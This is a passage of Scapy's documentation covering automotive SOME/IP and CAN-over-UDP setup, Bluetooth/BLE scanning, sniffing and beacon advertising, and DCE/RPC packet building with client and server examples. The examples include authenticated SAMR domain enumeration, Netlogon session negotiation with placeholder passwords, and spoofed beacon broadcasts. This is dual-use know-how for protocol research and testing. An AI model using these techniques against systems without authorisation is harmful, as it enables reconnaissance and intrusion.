(``https://www.raspberrypi.org/downloads/raspbian/``) and install it on the Raspberry. #. | **Vsomeip setup** Download the vsomeip library on the Raspberry, apply the git patch so it can work with the newer boost libraries and then install it. :: git clone https://github.com/GENIVI/vsomeip.git cd vsomeip wget -O 0001-Support-boost-v1.66.patch.zip \ https://github.com/GENIVI/vsomeip/files/2244890/0001-Support-boost-v1.66.patch.zip unzip 0001-Support-boost-v1.66.patch.zip git apply 0001-Support-boost-v1.66.patch mkdir build cd build cmake -DENABLE_SIGNAL_HANDLING=1 .. make make install #. | **Make applications** Write some small applications which function as either a service or a client and use the Scapy SOME/IP implementation to communicate with the client or the server. Examples for vsomeip applications are available on the vsomeip github wiki page (``https://github.com/GENIVI/vsomeip/wiki/vsomeip-in-10-minutes``). Cannelloni Framework -------------------- The Cannelloni framework is a small application written in C++ to transfer CAN data over UDP. In this way, a researcher can map the CAN communication of a remote device to its workstation, or even combine multiple remote CAN devices on his machine. The framework can be downloaded from this website: ``https://github.com/mguentner/cannelloni.git``. The ``README.md`` file explains the installation and usage in detail. Cannelloni needs virtual CAN interfaces on the operator's machine. The next listing shows the setup of virtual CAN interfaces. How-To:: modprobe vcan ip link add name vcan0 type vcan ip link add name vcan1 type vcan ip link set dev vcan0 up ip link set dev vcan1 up tc qdisc add dev vcan0 root tbf rate 300kbit latency 100ms burst 1000 tc qdisc add dev vcan1 root tbf rate 300kbit latency 100ms burst 1000 cannelloni -I vcan0 -R -r 20000 -l 20000 & cannelloni -I vcan1 -R -r 20001 -l 20001 & ================================================ FILE: doc/scapy/layers/bluetooth.rst ================================================ ********* Bluetooth ********* .. note:: If you're new to using Scapy, start with the :doc:`usage documentation <../usage>`, which describes how to use Scapy with Ethernet and IP. .. warning:: Scapy does not support Bluetooth interfaces on Windows. What is Bluetooth? ================== Bluetooth is a short range, mostly point-to-point wireless communication protocol that operates on the 2.4GHz `ISM band`__. __ https://en.wikipedia.org/wiki/ISM_band `Bluetooth standards are publicly available`__ from the `Bluetooth Special Interest Group.`__ __ https://www.bluetooth.com/specifications/bluetooth-core-specification __ https://www.bluetooth.com/ Broadly speaking, Bluetooth has *three* distinct physical-layer protocols: Bluetooth Basic Rate (BR) and Enhanced Data Rate (EDR) These are the "classic" Bluetooth physical layers. :abbr:`BR (Basic Rate)` reaches effective speeds of up to 721kbit/s. This was ratified as ``IEEE 802.15.1-2002`` (v1.1) and ``-2005`` (v1.2). :abbr:`EDR (Enhanced Data Rate)` was introduced as an optional feature of Bluetooth 2.0 (2004). It can reach effective speeds of 2.1Mbit/s, and has lower power consumption than BR. In Bluetooth 4.0 and later, this is not supported by *Low Energy* interfaces, unless they are marked as *dual-mode*. Bluetooth High Speed (HS) Introduced as an optional feature of Bluetooth 3.0 (2009), this extends Bluetooth by providing ``IEEE 802.11`` (WiFi) as an alternative, higher-speed data transport. Nodes negotiate switching with :abbr:`AMP (Alternative MAC/PHY)`. This is only supported by Bluetooth interfaces marked as *+HS*. Not all Bluetooth 3.0 and later interfaces support it. Bluetooth Low Energy (BLE) Introduced in Bluetooth 4.0 (2010), this is an alternate physical layer designed for low power, embedded systems. It has shorter setup times, lower data rates and smaller :abbr:`MTU (maximum transmission unit)` sizes. It adds broadcast and mesh network topologies, in addition to point-to-point links. This is only supported by Bluetooth interface marked as *+LE* or *Low Energy* -- not all Bluetooth 4.0 and later interfaces support it. Most Bluetooth interfaces on PCs use USB connectivity (even on laptops), and this is controlled with the Host-Controller Interface (HCI). This typically doesn't support promiscuous mode (sniffing), however there are many other dedicated, non-HCI devices that support it. Bluetooth sockets (``AF_BLUETOOTH``) ------------------------------------ There are multiple protocols available for Bluetooth through ``AF_BLUETOOTH`` sockets: Host-controller interface (HCI) ``BTPROTO_HCI`` This is the "base" level interface for communicating with a Bluetooth controller. Everything is built on top of this, and this represents about as close to the physical layer as one can get with regular Bluetooth hardware. Scapy class: ``BluetoothMonitorSocket`` Allows to capture all HCI transactions that are taking place over all HCI interfaces (including in BlueZ core). It is intended to perform monitoring of transactions, device attachment and removal, BlueZ logging... Scapy class: ``BluetoothUserSocket`` This socket interacts with a Bluetooth controller with complete and exclusive control of de device. This means that BlueZ will not try to take control of the interface and will not help you manage connections via this interface. Scapy class: ``BluetoothHCISocket`` Using HCI protocol, this socket interacts with a Bluetooth controller but does not have exclusive control over it, allowing BlueZ and other applications to still use the adapter to communicate with devices. Logical Link Control and Adaptation Layer Protocol (L2CAP) ``BTPROTO_L2CAP`` Scapy class: ``BluetoothL2CAPSocket`` Sitting above the HCI, it provides connection and connection-less data transport to higher level protocols. It provides protocol multiplexing, packet segmentation and reassembly operations. When communicating with a single device, one may use a L2CAP channel. RFCOMM ``BluetoothRFCommSocket`` Scapy class: ``BluetoothRFCommSocket`` RFCOMM is a serial port emulation protocol which operates over L2CAP. In addition to regular data transfer, it also supports manipulation of all of RS-232's non-data control circuitry (:abbr:`RTS (Request To Send)`, :abbr:`DTR (Data Terminal Ready)`, etc.) Bluetooth on Linux ------------------ Linux's Bluetooth stack is developed by `the BlueZ project`__. `The Linux kernel contains drivers to provide access to Bluetooth`__ interfaces using HCI, which are exposed through sockets with ``AF_BLUETOOTH``. __ http://www.bluez.org/ __ https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth.git BlueZ also provides a user-space companion to these kernel interfaces. The key components are: ``bluetoothd`` A daemon that provides access to Bluetooth devices over D-Bus. ``bluetoothctl`` An interactive command-line program which interfaces with the ``bluetoothd`` over D-Bus. ``hcitool`` A command-line program which interfaces directly with kernel interfaces. `Support for Classic Bluetooth in bluez is quite mature`__, however `BLE is under active development`__. __ http://www.bluez.org/profiles/ __ https://git.kernel.org/pub/scm/bluetooth/bluez.git/tree/TODO First steps =========== .. note:: You must run these examples as ``root``. These have only been tested on Linux, and require Scapy v2.4.3 or later. Verify Bluetooth device ----------------------- Before doing anything else, you'll want to check that your Bluetooth device has actually been detected by the operating system: .. code-block:: console $ hcitool dev Devices: hci0 xx:xx:xx:xx:xx:xx .. _hci-open: Opening a HCI socket -------------------- The first step in Scapy is to open a HCI socket to the underlying Bluetooth device: .. code-block:: pycon >>> # Open a HCI socket to device hci0 >>> bt = BluetoothHCISocket(0) Send a control packet --------------------- This packet contains no operation (ie: it does nothing), but it will test that you can communicate through the HCI device: .. code-block:: pycon >>> ans, unans = bt.sr(HCI_Hdr()/HCI_Command_Hdr()) Received 1 packets, got 1 answers, remaining 0 packets You can then inspect the response: .. code-block:: pycon >>> # ans[0] = Answered packet #0 >>> # ans[0][1] = The response packet >>> p = ans[0][1] >>> p.show() ###[ HCI header ]### type= Event ###[ HCI Event header ]### code= 0xf len= 4 ###[ Command Status ]### status= 1 number= 2 opcode= 0x0 Receiving all events -------------------- To start capturing all events from the HCI device, use ``sniff``: .. code-block:: pycon >>> pkts = bt.sniff() (press ^C after a few seconds to stop...) >>> pkts Unless your computer is doing something else with Bluetooth, you'll probably get 0 packets at this point. This is because ``sniff`` doesn't actually enable any promiscuous mode on the device. However, this is useful for some other commands that will be explained later on. Importing and exporting packets ------------------------------- :ref:`Just like with other protocols `, you can save packets for future use in ``libpcap`` format with ``wrpcap``: .. code-block:: pycon >>> wrpcap("/tmp/bluetooth.pcap", pkts) And load them up again with ``rdpcap``: .. code-block:: pycon >>> pkts = rdpcap("/tmp/bluetooth.pcap") Working with Bluetooth Low Energy ================================= .. note:: This requires a Bluetooth 4.0 or later interface that supports :abbr:`BLE (Bluetooth Low Energy)`, either as a dedicated :abbr:`LE (Low Energy)` chipset or a *dual-mode* LE + :abbr:`BR (Basic Rate)`/:abbr:`EDR (Enhanced Data Rate)` chipset (such as an `RTL8723BU`__). These instructions only been tested on Linux, and require Scapy v2.4.3 or later. There are bugs in earlier versions which decode packets incorrectly. __ https://www.realtek.com/en/products/communications-network-ics/item/rtl8723bu These examples presume you have already :ref:`opened a HCI socket ` (as ``bt``). Discovering nearby devices -------------------------- Enabling discovery mode ^^^^^^^^^^^^^^^^^^^^^^^ Start active discovery mode with: .. code-block:: pycon >>> # type=1: Active scanning mode >>> bt.sr( ... HCI_Hdr()/ ... HCI_Command_Hdr()/ ... HCI_Cmd_LE_Set_Scan_Parameters(type=1)) Received 1 packets, got 1 answers, remaining 0 packets >>> # filter_dups=False: Show duplicate advertising reports, because these >>> # sometimes contain different data! >>> bt.sr( ... HCI_Hdr()/ ... HCI_Command_Hdr()/ ... HCI_Cmd_LE_Set_Scan_Enable( ... enable=True, ... filter_dups=False)) Received 1 packets, got 1 answers, remaining 0 packets In the background, there are already HCI events waiting on the socket. You can grab these events with ``sniff``: .. code-block:: pycon >>> # The lfilter will drop anything that's not an advertising report. >>> adverts = bt.sniff(lfilter=lambda p: HCI_LE_Meta_Advertising_Reports in p) (press ^C after a few seconds to stop...) >>> adverts Once you have the packets, disable discovery mode with: .. code-block:: pycon >>> bt.sr( ... HCI_Hdr()/ ... HCI_Command_Hdr()/ ... HCI_Cmd_LE_Set_Scan_Enable( ... enable=False)) Begin emission: Finished sending 1 packets. ...* Received 4 packets, got 1 answers, remaining 0 packets (, ) Collecting advertising reports ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ You can sometimes get multiple ``HCI_LE_Meta_Advertising_Report`` in a single ``HCI_LE_Meta_Advertising_Reports``, and these can also be for different devices! .. code-block:: python3 # Rearrange into a generator that returns reports sequentially from itertools import chain reports = chain.from_iterable( p[HCI_LE_Meta_Advertising_Reports].reports for p in adverts) # Group reports by MAC address (consumes the reports generator) devices = {} for report in reports: device = devices.setdefault(report.addr, []) device.append(report) # Packet counters devices_pkts = dict((k, len(v)) for k, v in devices.items()) print(devices_pkts) # {'xx:xx:xx:xx:xx:xx': 408, 'xx:xx:xx:xx:xx:xx': 2} Filtering advertising reports ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ .. code-block:: python3 # Get one packet for each device that broadcasted short UUID 0xfe50 (Google). # Android devices broadcast this pretty much constantly. google = {} for mac, reports in devices.items(): for report in reports: if (EIR_CompleteList16BitServiceUUIDs in report and 0xfe50 in report[EIR_CompleteList16BitServiceUUIDs].svc_uuids): google[mac] = report break # List MAC addresses that sent such a broadcast print(google.keys()) # dict_keys(['xx:xx:xx:xx:xx:xx', 'xx:xx:xx:xx:xx:xx']) Look at the first broadcast received: .. code-block:: pycon >>> for mac, report in google.items(): ... report.show() ... break ... ###[ Advertising Report ]### type= conn_und atype= random addr= xx:xx:xx:xx:xx:xx len= 13 \data\ |###[ EIR Header ]### | len= 2 | type= flags |###[ Flags ]### | flags= general_disc_mode |###[ EIR Header ]### | len= 3 | type= complete_list_16_bit_svc_uuids |###[ Complete list of 16-bit service UUIDs ]### | svc_uuids= [0xfe50] |###[ EIR Header ]### | len= 5 | type= svc_data_16_bit_uuid |###[ EIR Service Data - 16-bit UUID ]### | svc_uuid= 0xfe50 | data= 'AB' rssi= -96 Setting up advertising ---------------------- .. note:: Changing advertisements may not take effect until advertisements have first been :ref:`stopped `. AltBeacon ^^^^^^^^^ `AltBeacon`__ is a proximity beacon protocol developed by Radius Networks. This example sets up a virtual AltBeacon: __ https://github.com/AltBeacon/spec .. code-block:: python3 # Load the contrib module for AltBeacon load_contrib('altbeacon') ab = AltBeacon( id1='2f234454-cf6d-4a0f-adf2-f4911ba9ffa6', id2=1, id3=2, tx_power=-59, ) bt.sr(ab.build_set_advertising_data()) Once :ref:`advertising has been started `, the beacon may then be detected with `Beacon Locator`__ (Android). .. note:: Beacon Locator v1.2.2 `incorrectly reports the beacon as being an iBeacon`__, but the values are otherwise correct. __ https://github.com/vitas/beaconloc __ https://github.com/vitas/beaconloc/issues/32 Eddystone ^^^^^^^^^ `Eddystone`__ is a proximity beacon protocol developed by Google. This uses an Eddystone-specific service data field. __ https://github.com/google/eddystone/ This example sets up a virtual `Eddystone URL`__ beacon: __ https://github.com/google/eddystone/tree/master/eddystone-url .. code-block:: python3 # Load the contrib module for Eddystone load_contrib('eddystone') # Eddystone_URL.from_url() builds an Eddystone_URL frame for a given URL. # # build_set_advertising_data() wraps an Eddystone_Frame into a # HCI_Cmd_LE_Set_Advertising_Data payload, that can be sent to the BLE # controller. bt.sr(Eddystone_URL.from_url( 'https://scapy.net').build_set_advertising_data()) Once :ref:`advertising has been started `, the beacon may then be detected with `Eddystone Validator`__ or `Beacon Locator`__ (Android): .. image:: ../graphics/ble_eddystone_url.png __ https://github.com/google/eddystone/tree/master/tools/eddystone-validator __ https://github.com/vitas/beaconloc .. _adv-ibeacon: iBeacon ^^^^^^^ `iBeacon`__ is a proximity beacon protocol developed by Apple, which uses their manufacturer-specific data field. :ref:`Apple/iBeacon framing ` (below) describes this in more detail. __ https://en.wikipedia.org/wiki/IBeacon This example sets up a virtual iBeacon: .. code-block:: python3 # Load the contrib module for iBeacon load_contrib('ibeacon') # Beacon data consists of a UUID, and two 16-bit integers: "major" and # "minor". # # iBeacon sits on top of Apple's BLE protocol. p = Apple_BLE_Submessage()/IBeacon_Data( uuid='fb0b57a2-8228-44cd-913a-94a122ba1206', major=1, minor=2) # build_set_advertising_data() wraps an Apple_BLE_Submessage or # Apple_BLE_Frame into a HCI_Cmd_LE_Set_Advertising_Data payload, that can # be sent to the BLE controller. bt.sr(p.build_set_advertising_data()) Once :ref:`advertising has been started `, the beacon may then be detected with `Beacon Locator`__ (Android): .. image:: ../graphics/ble_ibeacon.png __ https://github.com/vitas/beaconloc .. _le-adv-start: Starting advertising -------------------- .. code-block:: python3 bt.sr(HCI_Hdr()/ HCI_Command_Hdr()/ HCI_Cmd_LE_Set_Advertise_Enable(enable=True)) .. _le-adv-stop: Stopping advertising -------------------- .. code-block:: python3 bt.sr(HCI_Hdr()/ HCI_Command_Hdr()/ HCI_Cmd_LE_Set_Advertise_Enable(enable=False)) Resources and references ------------------------ * `16-bit UUIDs for members`__: List of registered UUIDs which appear in ``EIR_CompleteList16BitServiceUUIDs`` and ``EIR_ServiceData16BitUUID``. __ https://www.bluetooth.com/specifications/assigned-numbers/16-bit-uuids-for-members * `16-bit UUIDs for SDOs`__: List of registered UUIDs which are used by Standards Development Organisations. __ https://www.bluetooth.com/specifications/assigned-numbers/16-bit-uuids-for-sdos * `Company Identifiers`__: List of company IDs, which appear in ``EIR_Manufacturer_Specific_Data.company_id``. __ https://www.bluetooth.com/specifications/assigned-numbers/company-identifiers * `Generic Access Profile`__: List of assigned type IDs and links to specification definitions, which appear in ``EIR_Header``. __ https://www.bluetooth.com/specifications/assigned-numbers/generic-access-profile .. _apple-ble: Apple/iBeacon broadcast frames ============================== .. note:: This describes the wire format for Apple's Bluetooth Low Energy advertisements, based on (limited) publicly available information. It is not specific to using Bluetooth on Apple operating systems. `iBeacon`__ is Apple's proximity beacon protocol. Scapy includes a contrib module, ``ibeacon``, for working with Apple's :abbr:`BLE (Bluetooth Low Energy)` broadcasts: __ https://en.wikipedia.org/wiki/IBeacon .. code-block:: pycon >>> load_contrib('ibeacon') :ref:`Setting up advertising for iBeacon ` (above) describes how to broadcast a simple beacon. While this module is called ``ibeacon``, Apple has other "submessages" which are also advertised within their manufacturer-specific data field, including: * `AirDrop`__ * AirPlay * AirPods * `Handoff`__ * Nearby * `Overflow area`__ __ https://en.wikipedia.org/wiki/AirDrop __ https://en.wikipedia.org/wiki/OS_X_Yosemite#Continuity __ https://developer.apple.com/documentation/corebluetooth/cbperipheralmanager/1393252-startadvertising For compatibility with these other broadcasts, Apple BLE frames in Scapy are layered on top of ``Apple_BLE_Submessage`` and ``Apple_BLE_Frame``: * ``HCI_Cmd_LE_Set_Advertising_Data``, ``HCI_LE_Meta_Advertising_Report``, ``BTLE_ADV_IND``, ``BTLE_ADV_NONCONN_IND`` or ``BTLE_ADV_SCAN_IND`` contain one or more... * ``EIR_Hdr``, which may have a payload of one... * ``EIR_Manufacturer_Specific_Data``, which may have a payload of one... * ``Apple_BLE_Frame``, which contains one or more... * ``Apple_BLE_Submessage``, which contains a payload of one... * ``Raw`` (if not supported), or ``IBeacon_Data``. This module only presently supports ``IBeacon_Data`` submessages. Other submessages are decoded as ``Raw``. One might sometimes see multiple submessages in a single broadcast, such as Handoff and Nearby. This is not mandatory -- there are also Handoff-only and Nearby-only broadcasts. Inspecting a raw BTLE advertisement frame from an Apple device: .. code-block:: python3 p = BTLE(hex_bytes('d6be898e4024320cfb574d5a02011a1aff4c000c0e009c6b8f40440f1583ec895148b410050318c0b525b8f7d4')) p.show() Results in the output: .. code-block:: text ###[ BT4LE ]### access_addr= 0x8e89bed6 crc= 0xb8f7d4 ###[ BTLE advertising header ]### RxAdd= public TxAdd= random RFU= 0 PDU_type= ADV_IND unused= 0 Length= 0x24 ###[ BTLE ADV_IND ]### AdvA= 5a:4d:57:fb:0c:32 \data\ |###[ EIR Header ]### | len= 2 | type= flags |###[ Flags ]### | flags= general_disc_mode+simul_le_br_edr_ctrl+simul_le_br_edr_host |###[ EIR Header ]### | len= 26 | type= mfg_specific_data |###[ EIR Manufacturer Specific Data ]### | company_id= 0x4c |###[ Apple BLE broadcast frame ]### | \plist\ | |###[ Apple BLE submessage ]### | | subtype= handoff | | len= 14 | |###[ Raw ]### | | load= '\x00\x9ck\x8f@D\x0f\x15\x83\xec\x89QH\xb4' | |###[ Apple BLE submessage ]### | | subtype= nearby | | len= 5 | |###[ Raw ]### | | load= '\x03\x18\xc0\xb5%' Using Nordic Semiconductor's nRF Sniffer ======================================== Since **Scapy >2.5.0**, Scapy supports `Wireshark's extcap `_ interfaces. You can therefore use your USB nordic bluetooth dongle, provided that you `have installed `_ the Wireshark module properly. .. code:: pycon >>> load_contrib("nrf_sniffer") >>> load_extcap() >>> conf.ifaces Source Index Name Address nrf_sniffer_ble 100 nRF Sniffer for Bluetooth LE /dev/ttyUSB0-None [...] >>> sniff(iface="/dev/ttyUSB0-None", prn=lambda x: x.summary()) NRFS2_PCAP / NRFS2_Packet / NRF2_Packet_Event / BTLE / BTLE_ADV / BTLE_ADV_IND NRFS2_PCAP / NRFS2_Packet / NRF2_Packet_Event / BTLE / BTLE_ADV / BTLE_ADV_IND NRFS2_PCAP / NRFS2_Packet / NRF2_Packet_Event / BTLE / BTLE_ADV / BTLE_ADV_IND NRFS2_PCAP / NRFS2_Packet / NRF2_Packet_Event / BTLE / BTLE_ADV / BTLE_ADV_NONCONN_IND NRFS2_PCAP / NRFS2_Packet / NRF2_Packet_Event / BTLE / BTLE_ADV / BTLE_ADV_NONCONN_IND NRFS2_PCAP / NRFS2_Packet / NRF2_Packet_Event / BTLE / BTLE_ADV / BTLE_ADV_IND ================================================ FILE: doc/scapy/layers/dcerpc.rst ================================================ DCE/RPC & [MS-RPCE] =================== .. note:: DCE/RPC per `DCE/RPC 1.1 `_ with the `[MS-RPCE] `_ additions. Scapy provides support for dissecting and building Microsoft's Windows DCE/RPC calls. Usage documentation ------------------- Terminology ~~~~~~~~~~~ - ``NDR`` (and ``NDR64``) are the transfer syntax used by DCE/RPC, i.e. how objects are marshalled and sent over the network - ``IDL`` or Interface Definition Language is "a language for specifying operations (procedures or functions), parameters to these operations, and data types" in context of DCE/RPC NDR64 and endianness ~~~~~~~~~~~~~~~~~~~~ All packets built with NDR extend the ``NDRPacket`` class, which adds the arguments ``ndr64`` and ``ndrendian``. You can therefore specify while dissecting or building packets whether it uses NDR64 or not (**by default: no**), or its endian (**by default: little**) .. code:: python NetrServerReqChallenge_Request(b"\x00....", ndr64=True, ndrendian="big") Dissecting ~~~~~~~~~~ You can dissect a DCE/RPC packet like any other packet, by calling ``ThePacketClass()``. The only difference is, as mentioned above, that there are extra ``ndr64`` and ``ndrendian`` arguments. .. note:: DCE/RPC is stateful, and requires the dissector to remember which interface is bound, how (negotiation), etc. Scapy therefore provides a ``DceRpcSession`` session that remembers the context to properly dissect requests and responses. Here's an example where a pcap (included in the ``test/pcaps`` folder) containing a [MS-NRPC] exchange is dissected using Scapy: .. code:: python >>> load_layer("msrpce") >>> bind_layers(TCP, DceRpc, sport=40564) # the DCE/RPC port >>> bind_layers(TCP, DceRpc, dport=40564) >>> pkts = sniff(offline='dcerpc_msnrpc.pcapng.gz', session=DceRpcSession) >>> pkts[6][DceRpc5].show() ###[ DCE/RPC v5 ]### rpc_vers = 5 (connection-oriented) rpc_vers_minor= 0 ptype = request pfc_flags = PFC_FIRST_FRAG+PFC_LAST_FRAG endian = little encoding = ASCII float = IEEE reserved1 = 0 reserved2 = 0 frag_len = 58 auth_len = 0 call_id = 1 ###[ DCE/RPC v5 - Request ]### alloc_hint= 0 cont_id = 0 opnum = 4 ###[ NetrServerReqChallenge_Request ]### PrimaryName= None \ComputerName\ |###[ NDRConformantArray ]### | max_count = 5 | \value \ | |###[ NDRVaryingArray ]### | | offset = 0 | | actual_count= 5 | | value = b'WIN1' \ClientChallenge\ |###[ PNETLOGON_CREDENTIAL ]### | data = b'12345678' Scapy has opted to not abstract any of the NDR fields (see `Design choices`_), allowing to keep access to all lengths, offsets, counts, etc... This allows to put wrong length values anywhere to test implementations. The catch is that accessing the value of a field is a bit tedious:: >>> pkts[6][DceRpc5].ComputerName.value[0].value b'WIN1' Sometimes, you'll be glad to have access to the size of a ConformantArray. Most times, you won't. All ``NDRPacket`` therefore include a ``valueof()`` function that goes through any array or pointer containers:: >>> pkts[6][NetrServerReqChallenge_Request].valueof("ComputerName") b'WIN1' .. warning:: Note that ``DceRpc5`` packets are NOT ``NDRPacket``, so you need to call ``valueof()`` on the NDR payload itself. Building ~~~~~~~~ If you were to re-build the previous packet exactly as it was dissected, it would look something like this: .. code:: python >>> pkt = NetrServerReqChallenge_Request( ... ComputerName=NDRConformantArray(max_count=5, value=[ ... NDRVaryingArray(offset=0, actual_count=5, value=b'WIN1') ... ]), ... ClientChallenge=PNETLOGON_CREDENTIAL(data=b'12345678'), ... PrimaryName=None ... ) If you don't care about specifying ``max_count``, ``offset`` or ``actual_count`` manually, you can however also do the following: .. code:: python >>> pkt = NetrServerReqChallenge_Request( ... ComputerName=b'WIN1', ... ClientChallenge=PNETLOGON_CREDENTIAL(data=b'12345678'), ... PrimaryName=None ... ) >>> pkt.show() ###[ NetrServerReqChallenge_Request ]### PrimaryName= None \ComputerName\ |###[ NDRConformantArray ]### | max_count = None | \value \ | |###[ NDRVaryingArray ]### | | offset = 0 | | actual_count= None | | value = 'WIN1' \ClientChallenge\ |###[ PNETLOGON_CREDENTIAL ]### | data = '12345678' And Scapy will automatically add the ``NDRConformantArray``, ``NDRVaryingArray``... in the middle. This applies to ``NDRPointers`` too ! Skipping it will add a default one with a referent id of ``0x20000``. Take ``RPC_UNICODE_STRING`` for instance: .. code:: python >>> RPC_UNICODE_STRING(Buffer=b"WIN").show2() ###[ RPC_UNICODE_STRING ]### Length = 6 MaximumLength= 6 \Buffer \ |###[ NDRPointer ]### | referent_id= 0x20000 | \value \ | |###[ NDRConformantArray ]### | | max_count = 3 | | \value \ | | |###[ NDRVaryingArray ]### | | | offset = 0 | | | actual_count= 3 | | | value = 'WIN' Client ------ Scapy also includes a DCE/RPC client: :class:`~scapy.layers.msrpce.rpcclient.DCERPC_Client`. It provides a bunch of basic DCE/RPC features: - :func:`~scapy.layers.msrpce.rpcclient.DCERPC_Client.connect`: connect to a host - :func:`~scapy.layers.msrpce.rpcclient.DCERPC_Client.bind`: bind to a DCE/RPC interface - :func:`~scapy.layers.msrpce.rpcclient.DCERPC_Client.connect_and_bind`: connect to a host, use the endpoint mapper to find the interface then reconnect to the host on the matching address - :func:`~scapy.layers.msrpce.rpcclient.DCERPC_Client.sr1_req`: send/receive a DCE/RPC request To be able to use an interface, it must have been imported. This makes it so that the :func:`~scapy.layers.dcerpc.register_dcerpc_interface` function is called, allowing the :class:`~scapy.layers.dcerpc.DceRpcSession` session to properly understand the bind/alter requests, and match the DCE/RPCs by opcodes. In the DCE/RPC world, there are several "Transports". A transport corresponds to the various ways of transporting DCE/RPC. You can have a look at the documentation over `[MS-RPCE] 2.1 `_. In Scapy, this is implemented in the :class:`~scapy.layers.dcerpc.DCERPC_Transport` enum, that currently contains: - :const:`~scapy.layers.dcerpc.DCERPC_Transport.NCACN_IP_TCP`: the interface is reached over IP/TCP, on a port that varies. This port can typically be queried using the endpoint mapper, a DCE/RPC service that is always on port 135. - :const:`~scapy.layers.dcerpc.DCERPC_Transport.NCACN_NP`: the interface is reached over a named pipe over SMB. This named pipe is typically well-known, or can also be queried using the endpoint mapper (over SMB) on certain cases. Here's an example sending a ``ServerAlive`` over the ``IObjectExporter`` interface from `[MS-DCOM] `_. .. code-block:: python from scapy.layers.dcerpc import * from scapy.layers.msrpce.all import * client = DCERPC_Client( DCERPC_Transport.NCACN_IP_TCP, ndr64=False, ) client.connect("192.168.0.100") client.bind(find_dcerpc_interface("IObjectExporter")) req = ServerAlive_Request(ndr64=False) resp = client.sr1_req(req) resp.show() Here's the same example, but this time asking for :const:`~scapy.layers.dcerpc.RPC_C_AUTHN_LEVEL.PKT_PRIVACY` (encryption) using ``NTLMSSP``: .. code-block:: python from scapy.layers.ntlm import * from scapy.layers.dcerpc import * from scapy.layers.msrpce.all import * ssp = NTLMSSP( UPN="Administrator", PASSWORD="Password1", ) client = DCERPC_Client( DCERPC_Transport.NCACN_IP_TCP, auth_level=DCE_C_AUTHN_LEVEL.PKT_PRIVACY, ssp=ssp, ndr64=False, ) client.connect("192.168.0.100") client.bind(find_dcerpc_interface("IObjectExporter")) req = ServerAlive_Request(ndr64=False) resp = client.sr1_req(req) resp.show() Again, but this time using :const:`~scapy.layers.dcerpc.RPC_C_AUTHN_LEVEL.PKT_INTEGRITY` (signing) using ``SPNEGOSSP[KerberosSSP]``: .. code-block:: python from scapy.layers.kerberos import * from scapy.layers.spnego import * from scapy.layers.dcerpc import * from scapy.layers.msrpce.all import * ssp = SPNEGOSSP( [ KerberosSSP( UPN="Administrator@domain.local", PASSWORD="Password1", SPN="host/dc1", ) ] ) client = DCERPC_Client( DCERPC_Transport.NCACN_IP_TCP, auth_level=DCE_C_AUTHN_LEVEL.PKT_INTEGRITY, ssp=ssp, ndr64=False, ) client.connect("192.168.0.100") client.bind(find_dcerpc_interface("IObjectExporter")) req = ServerAlive_Request(ndr64=False) resp = client.sr1_req(req) resp.show() Here's a different example, this time connecting over :const:`~scapy.layers.dcerpc.DCERPC_Transport.NCACN_NP` to `[MS-SAMR] `_ to enumerate the domains a server is in: .. code-block:: python from scapy.layers.ntlm import NTLMSSP, MD4le from scapy.layers.dcerpc import * from scapy.layers.msrpce.all import * ssp = NTLMSSP( UPN="User", HASHNT=MD4le("Password"), ) client = DCERPC_Client( DCERPC_Transport.NCACN_NP, ssp=ssp, ndr64=False, ) client.connect("192.168.0.100") client.open_smbpipe("lsass") # open the \pipe\lsass pipe client.bind(find_dcerpc_interface("samr")) # Get Server Handle: call [0] SamrConnect serverHandle = client.sr1_req(SamrConnect_Request( DesiredAccess=( 0x00000010 # SAM_SERVER_ENUMERATE_DOMAINS ) )).ServerHandle # Enumerate domains: call [6] SamrEnumerateDomainsInSamServer EnumerationContext = 0 while True: resp = client.sr1_req( SamrEnumerateDomainsInSamServer_Request( ServerHandle=serverHandle, EnumerationContext=EnumerationContext, ) ) # note: there are a lot of sub-structures print(resp.valueof("Buffer").valueof("Buffer")[0].valueof("Name").valueof("Buffer").decode()) EnumerationContext = resp.EnumerationContext # continue enumeration if resp.status == 0: # no domain left to enumerate break client.close() .. note:: As you can see, we used the :class:`~scapy.layers.ntlm.NTLMSSP` security provider in the above connection. There are extensions to the :class:`~scapy.layers.msrpce.rpcclient.DCERPC_Client` class: - the :class:`~scapy.layers.msrpce.msnrpc.NetlogonClient`, worth mentioning because it implements its own :class:`~scapy.layers.msrpce.msnrpc.NetlogonSSP`: .. code-block:: python from scapy.layers.msrpce.msnrpc import * from scapy.layers.msrpce.raw.ms_nrpc import * client = NetlogonClient( auth_level=DCE_C_AUTHN_LEVEL.PKT_PRIVACY, computername="SERVER", domainname="DOMAIN", ) client.connect_and_bind("192.168.0.100") client.negotiate_sessionkey(bytes.fromhex("77777777777777777777777777777777")) client.close() - the :class:`~scapy.layers.msrpce.msdcom.DCOM_Client`. More details are available in `DCOM `_ Server ------ It is also possible to create your own DCE/RPC server. This takes the form of creating a :class:`~scapy.layers.msrpce.rpcserver.DCERPC_Server` class, then serving it over a transport. This class contains a :func:`~scapy.layers.msrpce.rpcserver.DCERPC_Server.answer` function that is used to register a handler for a Request, such as for instance: .. code-block:: python from scapy.layers.dcerpc import * from scapy.layers.msrpce.all import * class MyRPCServer(DCERPC_Server): @DCERPC_Server.answer(NetrWkstaGetInfo_Request) def handle_NetrWkstaGetInfo(self, req): """ NetrWkstaGetInfo [MS-SRVS] "returns information about the configuration of a workstation." """ return NetrWkstaGetInfo_Response( WkstaInfo=NDRUnion( tag=100, value=LPWKSTA_INFO_100( wki100_platform_id=500, # NT wki100_ver_major=5, ), ), ndr64=self.ndr64, ) Let's spawn this server, listening on the ``12345`` port using the :const:`~scapy.layers.dcerpc.DCERPC_Transport.NCACN_IP_TCP` transport. .. code-block:: python MyRPCServer.spawn( DCERPC_Transport.NCACN_IP_TCP, port=12345, ) Of course that also works over :const:`~scapy.layers.dcerpc.DCERPC_Transport.NCACN_NP`, with for instance a :class:`~scapy.layers.ntlm.NTLMSSP`: .. code-block:: python from scapy.layers.ntlm import NTLMSSP, MD4le ssp = NTLMSSP( IDENTITIES={ "User1": MD4le("Password"), } ) MyRPCServer.spawn( DCERPC_Transport.NCACN_NP, ssp=ssp, iface="eth0", port=445, ndr64=True, ) To start an endpoint mapper (this should be a separate process from your RPC server), you can use the default :class:`~scapy.layers.msrpce.rpcserver.DCERPC_Server` as such: .. code-block:: python from scapy.layers.dcerpc import * from scapy.layers.msrpce.all import * DCERPC_Server.spawn( 